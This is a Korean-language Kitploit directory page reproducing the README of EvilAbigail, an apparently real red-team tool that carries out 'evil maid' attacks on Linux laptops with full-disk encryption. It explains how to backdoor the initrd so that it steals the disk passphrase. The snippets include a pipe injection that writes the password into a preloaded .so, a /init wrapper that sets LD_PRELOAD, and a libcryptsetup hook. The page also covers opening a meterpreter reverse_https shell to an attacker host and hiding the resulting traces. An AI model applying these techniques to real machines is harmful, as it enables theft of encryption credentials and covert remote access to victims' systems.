Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
EvilAbigail — 자동화된 리눅스 악성 하녀 공격 | Kitploit
도구/GitHubGitHub/strozfriedberg/evilabigail
Privilege EscalationPassword AttacksExploitationPost-ExploitationRed TeamingPayload Development
GitHubstrozfriedberg/evilabigail

EvilAbigail

자동화된 리눅스 악성 하녀 공격

저장소 보기
4357710년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Initrd 암호화된 루트 파일시스템 공격

EvilAbigail

시나리오

  • 전체 디스크 암호화(FDE)가 켜진 상태로 노트북이 꺼져 있음
  • 공격자가 USB/CD/네트워크로 부팅
  • 스크립트가 실행되어 initrd에 백도어 설치
  • 사용자가 노트북으로 돌아와 정상적으로 부팅
  • 백도어된 initrd가 로드됨:
    • (Debian/Ubuntu/Kali) 부팅 시 /sbin/init에 .so 파일을 주입하여 셸 생성
    • (Fedora/CentOS) DefaultEnviroment에 LD_PRELOAD .so를 전역적으로 로드하여 셸 생성

지원되는 배포판

  • Ubuntu 14.04.3
  • Debian 8.2.0
  • Kali 2.0
  • Fedora 23
  • CentOS 7

현재 기능

  • 컴파일 시 LHOST로 python/meterpreter/reverse_https 사용
  • FDE 암호 해독 비밀번호가 meterpreter 환경에 저장됨 (getenv PASSWORD)

세부사항

컴파일

자세한 정보/구성은 Makefile을 참조하세요. 컴파일 시 msfvenom이 파이프로 전달되므로 .so를 빌드하려면 환경에 LHOST가 필요합니다. 또한 빌드 머신에 libcrypsetup-dev(또는 이에 상응하는 패키지)가 설치되어 있어야 합니다.

일반 지침 (현재 작업 디렉토리에 ISO 이미지 빌드): LHOST=192.168.56.101 make rev.so iso

isolinux.cfg

다음 옵션이 커널 부트에 추가되었습니다:

mc superuser nodhcp quiet loglevel=0

또한 완전 자동 실행을 위해 prompt 값이 0으로 설정되었습니다.

타이밍

악의적인 부팅 -> 백도어 설치 시간: 약 2분 정상 부팅 -> 셸 생성 시간: 약 90초 (구성 가능, 네트워킹이 먼저 준비되기를 원함)

사전 요구사항

core.d는 아래 패키지가 병합된 TinyCore의 압축 해제된 core.gz입니다.

Core-current는 압축 해제된 Core-current.iso입니다.

tinycore 내에 다음 패키지가 설치되었습니다 (python, 파일시스템 지원):

  • bzip2-lib.tcz
  • filesystems-3.16.6-tinycore.tcz
  • gdbm.tcz
  • libffi.tcz
  • mtd-3.16.6-tinycore.tcz
  • ncurses.tcz
  • openssl.tcz
  • python.tcz
  • readline.tcz
  • sqlite3.tcz

새 서명 추가

최소한의 서명은 다음과 같습니다:

root@kitploit:~
"exampleOS" : {
    "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
    "ROOT" : "${rootmnt}",
    "FILENAME" : "/ldlinux.so.1",
    "INITRDFILENAME" : "hda1"
}
  • exampleOS는 이 OS의 고유한 이름입니다.
  • IDENTIFIER는 올바른 initrd에 대해 실행될 때 종료 코드 0을 반환하고, 그 외의 경우 !0을 반환하는 셸 명령어입니다.
  • ROOT은 암호 해독 후 새 루트가 마운트되는 전체 경로 또는 변수입니다.
  • FILENAME은 루트 파일시스템에 바이너리를 배치할 전체 경로입니다. initrd가 마운트하는 것과 나중에 마운트되는 것을 잘 알고 있어야 합니다.
  • INITRDFILENAME은 initrd 내부의 바이너리 전체 경로입니다. 이는 Makefile 내부에서 복사되므로 (cp ... core.d/...) 일치해야 합니다.

그 후, *FILE, *PRE, *POST의 각 세 쌍은 re.sub로 initrd에 대해 실행됩니다 (예: re.sub(*PRE, *POST, *FILE)). *PRE와 *POST의 내용은 .format(**config[detectedOS])을 사용하여 확장되므로, 서명을 확장하여 항목을 주입할 수 있습니다.

실행할 수 있는 대체 횟수에는 제한이 없습니다.

참고사항

  • \\1은 대체(*POST) 내에서 사용될 때 일치 항목(*PRE)의 전체 내용으로 확장됩니다.
  • 주의: | $

세부 사항

페이로드

python/meterpreter/reverse_https 메타스플로잇 페이로드는 linux/*/meterpreter/reverse_tcp 페이로드보다 플랫폼 독립적이기 때문에 선택되었습니다. python은 테스트된 모든 시스템에 기본적으로 설치된 것으로 보입니다.

기본적으로 페이로드는 컴파일 시 생성되어 .c 파일에 #define으로 파이프됩니다. 이렇게 하면 반복 작업이 쉬워지지만, 페이로드를 저장하고 수동으로 삽입하는 것도 어렵지 않습니다.

Debian 계열 (Debian, Ubuntu, Kali)

셸 생성

Debian 계열 시스템(Debian, Ubuntu 등)은 표준 gzip 압축 cpio 이미지를 initramfs로 사용합니다. 여기에는 전체 부팅을 위해 시스템을 준비하는 기본 /init 스크립트가 포함되어 있습니다. 여기에는 사용자에게 비밀번호를 묻고 암호화된 루트 파일시스템을 마운트하는 과정이 포함됩니다.

.so를 배치하기 위해 루트 파일시스템이 마운트될 때까지(사용자에게 비밀번호를 묻고 난 후) 기다린 다음 /dev 파일시스템에 .so를 복사합니다. /dev 파일시스템은 rootfs가 전환되기 직전에 접근 가능하고 RAM 기반 마운트이기 때문에 선택되었습니다. 즉, .so가 디스크에 닿지 않습니다.

실제로 배치된 .so를 사용하기 위해 switch_root 호출 시 LD_PRELOAD 환경 변수를 사용합니다. 이 변수는 모든 하위 실행 파일에 전달되므로 최종 /sbin/init 스크립트에 모듈이 로드됩니다. 이를 비교적 눈에 띄지 않게 유지하기 위해, /sbin/init에 로드되었는지 확인하고, 그렇다면 LD_PRELOAD 변수를 해제하고 .so를 삭제합니다. 특정 애플리케이션을 후킹하려는 경우 이 기능을 쉽게 비활성화할 수 있습니다.

.so의 실행을 강제하기 위해, 기본적으로 로드 후 gcc 플래그 -Wl,-init,shell을 사용합니다. 여기서 shell은 우리의 주요 함수입니다. 이는 .so 초기화 시 호출할 함수를 지정합니다. 이를 Windows의 DllMain과 유사한 것으로 생각할 수 있습니다.

비밀번호 탈취

사용자에게 비밀번호를 묻고 루트 파일시스템을 마운트하는 init 스크립트 부분은 다음과 같습니다:

scripts/local-top/cryptroot:

root@kitploit:~
if [ ! -e "$NEWROOT" ]; then
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
             $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
                message "cryptsetup: cryptsetup failed, bad password or options?"
                continue
        fi
fi

우리에게 중요한 부분은 $cryptkeyscript의 출력이 $cryptcreate로 파이프되는 곳입니다. $cryptkeyscript는 비밀번호 요청 프로그램이고, $cryptcreate는 디스크 마운터입니다. 이 파이프는 공격을 매우 쉽게 만듭니다. 파이프 위치에 다음 코드를 삽입하여 비밀번호를 .so 끝에 기록합니다:

(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)

이렇게 하면 비밀번호가 변수 $P에 읽혀지고, .so 끝에 기록됨과 동시에 다시 출력됩니다. 이 코드는 $cryptkeyscript와 $cryptcreate의 목적에는 투명하지만, 비밀번호를 유출하는 부작용이 있습니다. \\\\\\\\x00을 사용하여 비밀번호 앞에 널 바이트(여러 단계의 셸 이스케이프를 고려)를 추가합니다. 이렇게 하면 .so가 자신의 끝에서부터 널 바이트가 보일 때까지 역방향으로 읽기만 하면 되므로 비밀번호를 다시 읽기가 훨씬 쉬워집니다.

이 비밀번호를 공격자에게 제공하기 위해 페이로드 실행 시 환경 변수로 사용됩니다. 즉, 공격자는 meterpreter 명령어 getenv PASSWORD를 사용하여 비밀번호를 검색할 수 있습니다.

아티팩트

.so가 로드되는 방식으로 인해 /proc/1/maps와 /proc/1/environ 모두에 참조가 남게 됩니다.

maps 파일은 로드된 모듈 목록입니다. 다음 발췌문은 이 파일의 내용을 보여줍니다. (deleted) 표기에 주목하세요. 잠재적으로 의심을 불러일으킬 수 있습니다. 그러나 일반 바이너리와 달리, 삭제된 후에는 메모리에서 직접 추출하지 않고는 .so에 접근할 수 없습니다.

root@kitploit:~
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264                       /dev/hda1 (deleted)

environ 파일은 호출 시 환경 변수의 NULL로 구분된 목록입니다. 호출 시점의 것이므로 런타임에 우리가 수정한 내용(LD_PRELOAD 해제 등)은 반영되지 않습니다.

이 두 경우 모두, 우리는 모든 시스템 프로세스에 후킹될 수 있으므로 read(2) 함수를 후킹하여 자신에 대한 참조를 제거할 수 있습니다.

Kali

Kali는 특별한 경우입니다. 아래에 언급된 체인 cpio를 가지고 있지만 부팅에 systemd를 사용하지 않습니다. 따라서 DRACUT OS 규칙이 일반화되어 무조건 추출한 후 두 번째 OS 탐지가 Kali를 잡아냅니다.

kernel/x86/microcode/GenuineIntel.bin만 포함하는 cpio로 OS를 추가하는 경우, IDENTIFIER 규칙은 추가된 cpio를 대상으로 해야 합니다. 자동으로 찾아서 추출할 것이기 때문입니다.

Redhat 계열 (Fedora, CentOS)

이 시스템들은 Debian 계열 시스템과 다른 initrd 이미지 형식을 가지고 있습니다. /boot에 저장된 initrd 파일은 거의 비어 있는 cpio 아카이브에 gzip 압축된 cpio 아카이브가 추가된 형태입니다. 이 두 번째 아카이브가 initramfs를 포함합니다. 두 번째 아카이브를 풀기 위해서는 첫 번째 cpio 아카이브를 파싱하여 끝을 찾아야 합니다. 또는 TRAILER!!! 문자열을 찾은 후 gzip 매직(\x1f\x8b)이 나올 때까지 계속 읽을 수도 있습니다.

이 시스템들의 또 다른 차이점은 systemd 기반이라는 점이며, 따라서 initamfs의 /init 실행 파일은 일반 sh 스크립트가 아니라 systemd 바이너리에 대한 심볼릭 링크입니다. 이 제한을 우회하려면 루트 파일시스템 마운트와 관련된 .service 파일을 수정해야 합니다.

usr/lib/systemd/system/initrd-switch-root.service에는 새로 복호화된 루트로 전환하는 데 사용되는 스크립트가 포함되어 있습니다. ExecStartPre 프라그마를 사용하면 전환 전에 다른 프로그램을 실행할 수 있습니다.

CentOS에는 SELinux가 있어 LD_PRELOAD 사용을 제한합니다. 작동하는 경로 중 하나는 /lib입니다. 이는 /etc/selinux/targeted/modules/active/file_contexts 파일에서 system_u:object_r:lib_t 레이블이 지정된 위치를 읽어 찾았습니다.

셸 생성

systemd가 루트 전환 전에 clearenv()를 호출하기 때문에 LD_PRELOAD 변수가 지워집니다. 이를 우회하기 위해 clearenv()를 후킹하고 항상 환경을 LD_PRELOAD만으로 교체할 수 있습니다. 그러나 이를 위해서는 initrd 내에서 PID 1이어야 합니다. 이 프로세스에 LD_PRELOAD를 할 수 없기 때문에 더 까다롭습니다. 이를 해결하기 위해 /init을 다음과 같은 bash 셸 스크립트로 대체했습니다:

root@kitploit:~
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd

이는 /init이 /usr/lib/systemd/systemd에 대한 심볼릭 링크에 불과하기 때문에 작동합니다. exec가 사용되어 프로세스가 부모 PID(1)를 유지합니다.

이것이 구현되고 clearenv()가 무력화되면 새 루트 내에서 실제 pid 1에 대해 LD_PRELOAD를 설정할 수 있습니다.

비밀번호 탈취

systemd는 암호화된 파일시스템의 비밀번호를 Debian 기반 init 스크립트와 완전히 다르게 처리합니다. 비밀번호는 자격 증명을 보낼 수 있는 Unix 소켓을 사용하여 전달됩니다. 이러한 복잡성을 해결하기 위해 비밀번호에 접근하는 가장 쉬운 방법은 libcryptsetup의 crypt_activate_by_passphrase 함수를 후킹하는 것입니다. 함수 선언의 관련 부분은 다음과 같습니다:

root@kitploit:~
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);

비밀번호에 접근하기 위해 이 함수를 후킹하고, passphrase를 파일에 저장한 후 dlsym(RTLD_NEXT, ...)로 얻은 원래 함수를 호출합니다. 위와 같이, 비밀번호를 .so에 추가하여 자체 파싱이 가능하게 하고 meterpreter에서 비밀번호를 사용할 수 있도록 합니다.

아티팩트

위와 같이, .so는 /proc/1/maps, /proc/1/environ 및 ps 출력에 나타납니다.

도구 다운로드